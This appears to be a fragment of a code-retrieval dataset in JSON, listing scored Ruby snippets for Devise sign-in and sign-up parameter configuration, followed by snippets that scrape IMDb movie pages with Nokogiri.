devise_parameter_sanitizer.for(:sign_in) << [:login, :username]\n end", "title": "" }, { "docid": "05f64f061a0274d0791b79aca148ee39", "score": "0.7514705", "text": "def sign_in_params\n params.require(:sign_in).permit(:email, :password)\n end", "title": "" }, { "docid": "be547b529e5148f35a5265427b30633c", "score": "0.7479762", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:username)\n end\n end", "title": "" }, { "docid": "99cf17aa61115eda65497b67f07ff762", "score": "0.7428155", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) { |u| u.permit(:email, :password)}\n #devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:first_name, :last_name, :email, :password, :password_confirmation)}\n end", "title": "" }, { "docid": "5cddaa8aeffb5060b2405744ac507ab9", "score": "0.7418176", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:user_name, :password, :password_confirmation, :remember_me) }\n end", "title": "" }, { "docid": "e17226fa747e067a0d2e6c9b5ea910ab", "score": "0.7399206", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :username\n end", "title": "" }, { "docid": "61aff0b02bd0fb908acc150b5d6b4fd5", "score": "0.7351091", "text": "def sign_in_params\n params.permit(:email, :password)\n end", "title": "" }, { "docid": "22d8e9d5f768a502eff924301d7f2b51", "score": "0.71464294", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:role])\n end", "title": "" }, { "docid": "6eb10a0e1bc6b9e69d9d60c67f7fe8e2", "score": "0.70948994", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :attribute\n\n # devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n # user_params.permit({ roles: [] }, :email, :password, :password_confirmation)\n # end\n end", "title": "" }, { "docid": "fd71c665ba17856a812c720a26f34510", "score": "0.7052848", "text": "def signin_params\n puts \"\\n******* signin_params *******\"\n params.permit(:username, :password)\n end", "title": "" }, { "docid": "11869bdcb20458c7327e5409b4fca54c", "score": "0.7048476", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:preferred_party_id, :willing_party_id, :consent_news_email])\n end", "title": "" }, { "docid": "31ce80bef95fe52cba4f1bdb34d41dce", "score": "0.69476545", "text": "def sign_in_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "db24b4e42e403b16287ba9394b4d7d67", "score": "0.69294", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:email, :password, :remember_me)\n end\n\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(:email, :password, :password_confirmation)\n end\n end", "title": "" }, { "docid": "42b4aff01aebb7a8887ec17f0f4ff022", "score": "0.69225204", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_in, keys: %i[login username password])\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[username email password password_confirmation])\n devise_parameter_sanitizer.permit(:account_update, keys: %i[username email password password_confirmation])\n end", "title": "" }, { "docid": "a4dd4a261ab8e96bd87db784669557ef", "score": "0.68548226", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) do |u|\n u.permit(:first_name, :last_name, :email, :password, :password_confirmation, roles: [])\n end\n end", "title": "" }, { "docid": "a4dd4a261ab8e96bd87db784669557ef", "score": "0.68548226", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) do |u|\n u.permit(:first_name, :last_name, :email, :password, :password_confirmation, roles: [])\n end\n end", "title": "" }, { "docid": "bbd86cf1a3fb127395bf4c5ef3995374", "score": "0.6777147", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name])\n end", "title": "" }, { "docid": "ffc8ac87695509a8b47007479529d81a", "score": "0.6761222", "text": "def configure_sign_in_params\n params.require(:user).permit(:name, :address, :gender, :contacts, :email, :password, :password_confirmation)\n devise_parameter_sanitizer.for(:sign_in)\n end", "title": "" }, { "docid": "99744c728a9156f567d94a860bb924ac", "score": "0.6673599", "text": "def sign_in_user user\n @request.env[\"devise.mapping\"] = Devise.mappings[:user]\n sign_in user\n end", "title": "" }, { "docid": "70708300c14f2b7b59e6b68b033bb7f0", "score": "0.66300356", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:latitude, :longitude)\n end\n end", "title": "" }, { "docid": "c74983daccfb92ac766c01c177ccd76b", "score": "0.66216856", "text": "def signin_params\n @sign_in = SignIn.new(params.require(:signin).permit(:accountid, :password))\n end", "title": "" }, { "docid": "0966c36e72676a43832880b0f100a12f", "score": "0.6614177", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :profile_photo, :job_type, :username, :email])\n devise_parameter_sanitizer.permit(:sign_in, keys: [:login, :password,:password_confirmation])\n # devise_parameter_sanitizer.permit(:account_update, keys: [:username, :email, :profile_photo, :password, :password_confirmation, :current_password, :mobile_number])\n end", "title": "" }, { "docid": "614cbaf37316db39ff71f059d5714471", "score": "0.65976876", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:current_user, :password, :password_confirmation ) }\n end", "title": "" }, { "docid": "c6baaaaf084c529bd265495c47e38060", "score": "0.65944636", "text": "def configure_sign_in_params\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :company_id])\n devise_parameter_sanitizer.for(:sign_up).push(:company_id, :user_id)\n end", "title": "" }, { "docid": "b6298cdd4bec1cd86ecd59d8df89191b", "score": "0.6565526", "text": "def configure_devise_params\n devise_parameter_sanitizer.for(:sign_up) do |u|\n u.permit(:username, :email, :password, :password_confirmation)\n end\n end", "title": "" }, { "docid": "23276b34045bcda729f188aed8b0d9eb", "score": "0.65351325", "text": "def auth_options\n # Use Devise's first authentication method (e.g. email or username) to\n # get the sign in parameter\n authn_method = serialize_options(resource)[:methods].first\n authn_value = sign_in_params[authn_method]\n\n # Look for a user matching that email/username\n user = resource_class.find_for_authentication(authn_method => authn_value)\n\n super.merge(\n sign_in_params: sign_in_params.except(\"password\"),\n user: user\n )\n end", "title": "" }, { "docid": "e61c1179bd9337aa163477f5494b1502", "score": "0.6499322", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :password])\n end", "title": "" }, { "docid": "2edc198aa484bbc1f2ec00d612f331c6", "score": "0.647705", "text": "def sign_in(user)\n post user_session_path \\\n 'user[email]'=> user.email,\n 'user[password]'=> user.password\n end", "title": "" }, { "docid": "4d6c822a4546de729cca5ffaff96fb34", "score": "0.647599", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:username, :password, :remember_me) }\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:realname, :username, :email, :phone, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:realname, :email, :phone, :password, :password_confirmation, :current_password) }\n end", "title": "" }, { "docid": "e2d280a13c4508abfdf2227e154790d4", "score": "0.647594", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:username, :email, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :password, :password_confirmation, :current_password) }\n end", "title": "" }, { "docid": "e4bda99cb87827b4b56e8c2a7139a3a2", "score": "0.64708674", "text": "def log_in_params\n params.require(:log_in).permit(:email, :password)\n end", "title": "" }, { "docid": "7ca82294ea9c417c46c3327df5adadd7", "score": "0.64657056", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :middle_initial, :last_name, :username, :type, :email, :password, :password_confirmation) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:logon, :username, :email, :password, :remember_me) }\n end", "title": "" }, { "docid": "e2b7849a3ff5158afe7fb1adcf3a9b52", "score": "0.64654285", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:user, keys: [:longitude, :latitude])\n #devise_parameter_sanitizer.permit(:user, keys: [:longitude, :latitude])\n #devise_parameter_sanitizer.permit(:sign_in, keys: [:longitude, :latitude])\n end", "title": "" }, { "docid": "447289b196f5e2dba463356d2f121718", "score": "0.6461358", "text": "def configure_devise_permitted_parameters\n\t\tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[name username email password password_confirmation])\n\t\tdevise_parameter_sanitizer.permit(:sign_in, keys: %i[login password remember_me])\n\t\tdevise_parameter_sanitizer.permit(:account_update, keys: %i[name username email current_password password password_confirmation])\n\tend", "title": "" }, { "docid": "8901d33972b117a34c2dee0923f04698", "score": "0.645857", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :mobile_auth_code\n end", "title": "" }, { "docid": "85ee211b805f6ae614f9a140022fc187", "score": "0.64442635", "text": "def sign_in(user:, password:)\n post user_session_path \\\n \"user[email]\" => user.email,\n \"user[password]\" => password\n end", "title": "" }, { "docid": "c0ac2e22224a03fd77514c934f451bf8", "score": "0.64422894", "text": "def sign_in\n\n end", "title": "" }, { "docid": "f8b6cedd360e785ce4f8145aa020c627", "score": "0.64380693", "text": "def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit( :sign_up, keys: [:name, :password, :password_confirmation, :remember_me] )\n end", "title": "" }, { "docid": "4205a2b5de767ba1d650e89016066b5d", "score": "0.6435118", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:username, :email, :password, :password_confirmation, :remember_me, :user_level) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :password, :password_confirmation, :current_password) }\n end", "title": "" }, { "docid": "80a783a642dd93c7bb8c216e04a6f94a", "score": "0.64192224", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:email, :password) }\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:email, :password, :password_confirmation, :current_password) }\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "7c468c32415e6caa10d9bfaaebebd9c7", "score": "0.64034176", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "3ef3127ac6d65d92c779cefe2e7f68d6", "score": "0.6400147", "text": "def sign_in\n end", "title": "" }, { "docid": "091a66318f502c8cc7b62b7e6335c144", "score": "0.63913465", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) { |user| user.permit(:username, :email, :password, :password_confirmation) }\n devise_parameter_sanitizer.permit(:sign_in) { |user| user.permit(:username, :email, :password, :password_confirmation) }\n devise_parameter_sanitizer.permit(:account_update) { |user| user.permit(:email, :password, :password_confirmation) }\n end", "title": "" }, { "docid": "eb4170d0f0fde41571b1f0a7c84ff88b", "score": "0.6372405", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :fname, :lname, :avatar, :bio, :street, :city, :state, :country, :lat, :lng])\n end", "title": "" }, { "docid": "258355214abc438f89d1a2f8a8eda557", "score": "0.6370633", "text": "def sign_in(*args)\n warden.set_user *args\n end", "title": "" }, { "docid": "512c538a019ddadae06f45271cf627dc", "score": "0.63617176", "text": "def configure_permitted_parameters\n\n devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:name, :email, :phone_number, :password, :remember_me)}\n devise_parameter_sanitizer.permit(:sign_in) { |u| u.permit(:name, :email, :password, :remember_me)}\n devise_parameter_sanitizer.permit(:account_update) { |u| u.permit(:name, :email, :password, :remember_me)}\n end", "title": "" }, { "docid": "a8fd028e7b1c27535d66cace8f338fa5", "score": "0.63605714", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) do |u|\n u.permit(:username, :email, :password, :password_confirmation,\n :remember_me)\n end\n devise_parameter_sanitizer.permit(:sign_in) do |u|\n u.permit(:login, :username, :email, :password, :remember_me)\n end\n devise_parameter_sanitizer.permit(:account_update) do |u|\n u.permit(:username, :email, :password, :password_confirmation,\n :current_password)\n end\n end", "title": "" }, { "docid": "7c4d2fdbc42046969a876143441cee9a", "score": "0.6358232", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u|\n u.permit(:uid, :email, :password, :password_confirmation, :remember_me)\n }\n devise_parameter_sanitizer.for(:sign_in) { |u|\n u.permit(:login, :uid, :email, :password, :remember_me)\n }\n devise_parameter_sanitizer.for(:account_update) { |u|\n u.permit(:uid, :email, :password, :password_confirmation, :current_password)\n }\n end", "title": "" }, { "docid": "53f537b16f0368527b4ca4d1712efe5c", "score": "0.63565165", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end", "title": "" }, { "docid": "2521114d642442efc571986b1070c1ae", "score": "0.63488084", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: custom_parameters)\n end", "title": "" }, { "docid": "ddaea3700d5aecdf63d13573cc6c1eca", "score": "0.6347451", "text": "def sign_in\n\tend", "title": "" }, { "docid": "15b97874a47fb98e42536b81b3d8e2d3", "score": "0.6291549", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :age, :address, :pincode, :phone, :gender, :dob, :position_id])\n end", "title": "" }, { "docid": "e3e960cff676404a42b6a23253669e80", "score": "0.6291047", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :username, :first_name, :last_name, :birthday, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :first_name, :last_name, :age, :country_code, :language_first, :language_second, :sex, :address, :birthday, :password, :password_confirmation, :current_password) }\n end", "title": "" }, { "docid": "651e7c36c32b20794959025d89bb3eff", "score": "0.62825006", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :age, :gender, :location, :institution, :designation])\n end", "title": "" }, { "docid": "a261893fa913fccae11b9140c428dcdf", "score": "0.6280147", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:firstname,:middlename,:lastname,:contact,:birthday,:gender, :bio, :username])\n end", "title": "" }, { "docid": "bfb0d31a085f8ef188ea496613249ec6", "score": "0.62798274", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :last_name, :email, :username, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:first_name, :last_name, :email, :username, :password, :password_confirmation, :current_password) }\n end", "title": "" }, { "docid": "e8b750210fbe81d22f9f9253c0b0784e", "score": "0.62794435", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email password username name lastname\n birth_date address type avatar phone_number])\n end", "title": "" }, { "docid": "4782f0a9dd14ad89435ae20d8ae650a6", "score": "0.62773013", "text": "def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit(:sign_up, keys: %i[first_name last_name username technology_id secondary_technology])\n end", "title": "" }, { "docid": "f33d2ab67f85f1f92e805509ef7fe46a", "score": "0.62763405", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email password username name lastname birth_date\n address type document_number document_type_id\n avatar document_face_pic document_back_pic phone_number])\n end", "title": "" }, { "docid": "6a9664f7555a5e6e68deeb8ef2cb0ad1", "score": "0.6274788", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :created_at, :updated_at, :telefono, :sucursalt_id, :tipousuariot_id, :activo, :consorciot_id, :sucursalbt, :siglas, :direccion, :ciudadt_id, :provinciat_id, :zonat_id, :vendedor, :contacto, :supervisort_id, :colectort_id, :sociot_id, :gppt_id])\n end", "title": "" }, { "docid": "29ddf8c54edbb526b9765758691c339c", "score": "0.6266525", "text": "def configure_sign_in_params\n params.require(:session_user).permit(:email, :password,\n :password_confirmation,:remember_me)\n end", "title": "" }, { "docid": "663e5561c4b00ad509aa686e8e7112ea", "score": "0.6266337", "text": "def configure_permitted_parameters\n\t devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :first_name, :last_name, :about, :occupation, :field, :orientation, :interest, :physical, :free_time, :image, :gender, :birthday)}\n\tend", "title": "" }, { "docid": "8c060789564ef463c61da8b297a3d014", "score": "0.6265835", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) do |u|\n u.permit(:nhs_number, :email, :password, :password_confirmation, :remember_me)\n end\n\n devise_parameter_sanitizer.for(:sign_in) do |u|\n u.permit(:login, :nhs_number, :email, :password, :remember_me)\n end\n\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:login, :nhs_number, :email, :password, :password_confirmation, :current_password)\n end\n end", "title": "" }, { "docid": "21b7d66a2d1f4333c4f07cafc0e359a5", "score": "0.62652475", "text": "def configure_permitted_parameters\n devise_parameter_sanitizer.for :account_update do |user|\n user.permit :email, :password, :password_confirmation, :current_password, :username\n end\n\n devise_parameter_sanitizer.for :sign_in do |user|\n user.permit :login, :password, :remember_me\n end\n\n devise_parameter_sanitizer.for :sign_up do |user|\n user.permit :email, :password, :password_confirmation, :remember_me, :username\n end\n end", "title": "" } ]
d02d0fc8639d1a6a32bb61dee4b28cbf
Nokogiri document for this movie
[ { "docid": "7a94d63dd54a9ceac91903188936ff95", "score": "0.62127316", "text": "def doc\n @doc ||= Nokogiri::HTML(open(@url))\n rescue OpenURI::HTTPError => e\n if e.io.status.first == '404'\n raise MovieNotFound.new(@url)\n end\n raise\n end", "title": "" } ]
[ { "docid": "30168c2fcb409b9926fd7a3c7b3c94e4", "score": "0.82110506", "text": "def doc\n @doc = Nokogiri::HTML(open(self.movie_info))\n end", "title": "" }, { "docid": "28541a892429c4570a73672baf399f4f", "score": "0.7655581", "text": "def document\n @document ||= Nokogiri::HTML(Imdb::Movie.find_by_id(@id))\n end", "title": "" }, { "docid": "ded2317db5c6b65f67d292cd6bef8a88", "score": "0.70384467", "text": "def document\n @document ||= Nokogiri::HTML(Imdb::Utils.get_page(\"/title/tt#{@id}/\", @locale))\n end", "title": "" }, { "docid": "9e9b45b77fe14f02e2a4d148ca987077", "score": "0.6978936", "text": "def for_movie( path )\n path = File.movie_nfo_path(path)\n xml = Nokogiri::XML( File.open(path) )\n xml = xml.xpath('movie')\n \n movie_data = {\n :title => xml.xpath('title').text,\n :rating => xml.xpath('rating').text,\n :year => xml.xpath('year').text,\n :outline => xml.xpath('outline').text,\n :runtime => xml.xpath('runtime').text,\n :release_date => xml.xpath('premiered').text,\n :rating => xml.xpath('mpaa').text,\n :genres => []\n }\n \n xml.xpath('genre').each do |g|\n movie_data[:genres] << g.text\n end\n \n movie_data\n end", "title": "" }, { "docid": "17c39d9324e3f540d7f713167514b712", "score": "0.6978418", "text": "def scrape_movie(movie_url)\n # we open the url\n html_file = URI.open(movie_url, 'Accept-Language' => 'en-US').read\n # we create the html doc\n html_doc = Nokogiri::HTML(html_file)\n # we find the right css for each of the criteria\n title = html_doc.search('h1').text.strip\n storyline = html_doc.search(\"p[class*='GenresAndPlot__Plot'] span\").first.text.strip\n poster_url = html_doc.search('.ipc-media img').first.attribute('src').value\n rating = html_doc.search('.ipc-button__text span').first.text\n\n {\n title: title,\n overview: storyline,\n poster_url: poster_url,\n rating: rating\n }\nend", "title": "" }, { "docid": "bd768c88c1668ac79a3e7de655cf15ea", "score": "0.6819004", "text": "def scrape_movie(url)\n html_file = open(url, \"Accept-Language\" => \"en\").read\n html_doc = Nokogiri::HTML(html_file)\n\n {\n cast: html_doc.search('.credit_summary_item').last.children[3..7].text.split(', '),\n director: html_doc.search('.credit_summary_item').first.children[3].text,\n storyline: html_doc.search('.summary_text').first.text.strip,\n title: html_doc.search('h1').first.children.first.text[0..-2],\n year: html_doc.search('h1').first.children[1].text[1..-2].to_i\n }\nend", "title": "" }, { "docid": "0804a10497e819744a44fa414d3a7bc7", "score": "0.6713291", "text": "def scrape_movie(movie)\n # info_hash = {}\n movie_url = movie\n\n html_file = URI.open(movie_url, \"Accept-Language\" => \"en\").read\n html_doc = Nokogiri::HTML(html_file)\n\n title = html_doc.search(\"h1\").text.split(\"(\")[0]\n year = html_doc.search(\"#titleYear\").text.gsub(/\\W/, \"\").to_i\n director = html_doc.search(\"h4:contains('Director:') + a\").text\n summary = html_doc.search(\".summary_text\" ).text.strip # investigate\n top3 = html_doc.search(\".primary_photo + td a\").first(3).map do |a|\n a.text.strip\n end\n\n {\n cast: top3,\n director: director,\n storyline: summary,\n title: title,\n year: year\n }\n\nend", "title": "" }, { "docid": "041af95f018e3fd811fcb8e91ec00caf", "score": "0.6603909", "text": "def scrape_movie(url)\n html = URI.open(url, \"Accept-Language\" => \"en-US\").read\n html_doc = Nokogiri::HTML(html)\n\n title = html_doc.search('[data-testid=\"hero-title-block__title\"]').first.text.strip\n year = html_doc.search('.ipc-inline-list__item span').first.text.strip.to_i\n storyline = html_doc.search('[data-testid=\"plot\"] span').first.text.strip\n director = html_doc.search('.ipc-metadata-list__item').first.search('a').first.text.strip\n cast_links = html_doc.search('[data-testid=\"title-pc-principal-credit\"]').last.search('li a')\n cast = cast_links.map { |cast_member| cast_member.text.strip } \n { \n title: title,\n year: year,\n director: director,\n storyline: storyline,\n cast: cast\n }\nend", "title": "" }, { "docid": "987056eb9b880058e7176b35b9970144", "score": "0.6595643", "text": "def movie_data(movie_url)\n html = open(movie_url, {\"Accept-Language:\" => \"en-US\"}).read\n document = Nokogiri::HTML(html)\n cast = document.css('.title-pc-list')[0].css('.ipc-metadata-list__item').last.css('ul li').map do |li|\n li.text\n end\n\n title = document.css('h1').first.text\n {\n cast: cast,\n title: title\n }\nend", "title": "" }, { "docid": "9268d51a779a0fea2ed26ffcee2fab22", "score": "0.659384", "text": "def test\n\n xmlfile = File.new(\"public/xml/destination.xml\")\n xmldoc = Document.new(xmlfile)\n\n # Info for the first movie found\n destination = XPath.first(xmldoc, \"//destination\")\n p destination\n\n # Print out all the movie types\n XPath.each(xmldoc, \"//history\") { |e| puts e.text }\n\n # Get an array of all of the movie formats.\n names = XPath.match(xmldoc, \"//overview\").map { |x| x.text }\n p names\n\n end", "title": "" }, { "docid": "7f69caca97c3c95c136319dd574eb632", "score": "0.64791054", "text": "def scrape_movie(url)\n\n #1 open the webpage and get its html -> string\n html_string = open(url, \"Accept-Language\" => \"en\").read\n\n #2 transform the html string into a Nokogiri Object\n doc = Nokogiri::HTML(html_string)\n\n #3 search the nokogiri object for the informations I am looking for\n #and store them into a hash\n\n title = doc.search(\".title_wrapper h1\").text.split(\"(\").first.chop\n year = doc.search(\".title_wrapper h1\").text.split(\"(\").last.strip.chop\n storyline = doc.search(\".summary_text\").text.strip\n director = doc.search(\".credit_summary_item\").first.text.split(\"Director:\").last.strip\n\n cast = []\n actors = doc.search(\".primary_photo\").first(3)\n\n actors.each do |actor|\n cast << actor.next_element.text.strip\n end\n\n #4 return the hash\n\n {\n title: title,\n storyline: storyline,\n director: director,\n year: year,\n cast: cast\n }\nend", "title": "" }, { "docid": "e119b70fcfaa6c887ab58539b9569263", "score": "0.6468196", "text": "def get_movie_from_web(title)\n url = @base_url + \"/find?q=#{title}&s=tt&ttype=ft&ref_=fn_ft\"\n\n # Instantiate new Movie\n movie = Movie.new\n\n # Fetch and parse HTML document\n search_page = Nokogiri::HTML(URI.open(url))\n\n # Search for list of search results and take first\n item = search_page.css('table.findList tr').first\n\n # Get initial attributes\n movie.title = item.css('td.result_text > a').text\n movie.image = item.css('td.primary_photo > a > img').attr('src').text\n movie.link = @base_url + item.css('td.result_text > a').attr('href').text\n\n # Follow url and get additional information from movie page\n movie_page = Nokogiri::HTML(URI.open(movie.link))\n movie.year = movie_page.css('span#titleYear > a').text\n movie.plot = movie_page.css('.summary_text').text.strip\n movie.director = movie_page.css('.plot_summary .credit_summary_item > a')[0].text\n movie.writer = movie_page.css('.plot_summary .credit_summary_item > a')[1].text\n\n # Cast\n raw_cast = movie_page.css('.plot_summary .credit_summary_item')[2].css('a')\n raw_cast.pop()\n movie.cast = raw_cast.map { |i| i.text }.join(', ')\n \n return movie\n end", "title": "" }, { "docid": "79a373629a092a730f4567d2e34e3612", "score": "0.6427165", "text": "def doc\n Nokogiri.parse(page.body)\n end", "title": "" }, { "docid": "84a4adf5ff7e1203b415f8875304d5d6", "score": "0.63648874", "text": "def open_movie_page(title)\n\tbase_url = \"https://www.imdb.com/find?ref_=nv_sr_fn&q=\"\n\ttitle = title.gsub(/\\s/, '+')\n search_data = Nokogiri::HTML(open(\"#{base_url}#{title}&s=tt\"))\n url = search_data.css('table.findList tr:first-child a')[0]['href']\n @movie = Nokogiri::HTML(open(\"https://www.imdb.com/#{url}\"))\nend", "title": "" }, { "docid": "837da698e9516f2dc90f516ad7df6c51", "score": "0.63360864", "text": "def director\n document.xpath(\"//*[@itemprop='director']//*[@itemprop='name']\").map { |elem|\n elem.text.imdb_unescape_html\n } rescue []\n end", "title": "" }, { "docid": "bc9f28a4ba6eb8261c0a8b07de753bce", "score": "0.62968516", "text": "def nokogiri_document \n\t\t\t@nokogiri_document ||= Nokogiri::XML(body)\n\t\tend", "title": "" }, { "docid": "75ea04e9693941d04e149faa86c96fd3", "score": "0.6242577", "text": "def get_movies(doc)\n\t\tmovies = []\n\t\tdoc.xpath(@@XPATH_MOVIE).each do |node|\n\t\t\tmovie = {}\n\t\t\tmovie[\"type\"] = :movie\n\t\t\tmovie[\"uri\"] = @@URI_ROOT + node.xpath(@@XPATH_MOVIE_URI).text\n\t\t\tmovie[\"title\"] = node.xpath(@@XPATH_MOVIE_TITLE).text.downcase.chomp.strip\n\t\t\tmovie[\"fts\"] = movie[\"title\"].split(/\\W+/)\n\t\t\tmovie[\"imgs\"] = []\n\t\t\tnode.xpath(@@XPATH_MOVIE_THUMBNAILS).each do |node_img|\n\t\t\t\tmovie[\"imgs\"] << node_img[\"data-original\"]\n\t\t\tend\n\n\t\t\t# movie.merge!(crawl_movie(movie[\"uri\"]))\n\n\t\t\tif(true || movie['flv'])\n\t\t\t\tbegin\n\t\t\t\t\tunique = @mongo_coll.find({\"uri\" => Regexp.new(movie[\"uri\"])}).count == 0\n\t\t\t\t\t@mongo_coll.insert(movie) if unique\n\t\t\t\trescue Exception => e\n\t\t\t\t\tCrawlerYoujizz.log \"Unable to insert document into MongoDB, reason: '#{e.to_s}'\"\n\t\t\t\tend\n\n\t\t\t\tmovies << movie\n\t\t\telse\n\t\t\t\tCrawlerYoujizz.log \"Wrong movie - '#{movie['uri']}'\"\n\t\t\tend\n\t\tend\n\t\treturn movies\n\tend", "title": "" }, { "docid": "73e5f7244a5981f6266908cbb2616644", "score": "0.615056", "text": "def main_page\n Nokogiri::HTML(open(\"http://mars.jpl.nasa.gov/msl/multimedia/raw/\"))\n end", "title": "" }, { "docid": "cd1466d56cddf5be93e993b6022253a3", "score": "0.6145133", "text": "def doc\n @doc = Nokogiri::HTML(open(self.url))\n end", "title": "" }, { "docid": "3028972415e5b2fc95c40e51ec6413be", "score": "0.61445475", "text": "def document()\n @dom\n end", "title": "" }, { "docid": "5da33981bf0c10e00520c04a338bec8c", "score": "0.6104641", "text": "def movie_page\r\n Top100Scary::Scraper.new.movie_page(self)\r\n end", "title": "" }, { "docid": "f5a84298506dd3bd89c416de3b72aa95", "score": "0.6096134", "text": "def 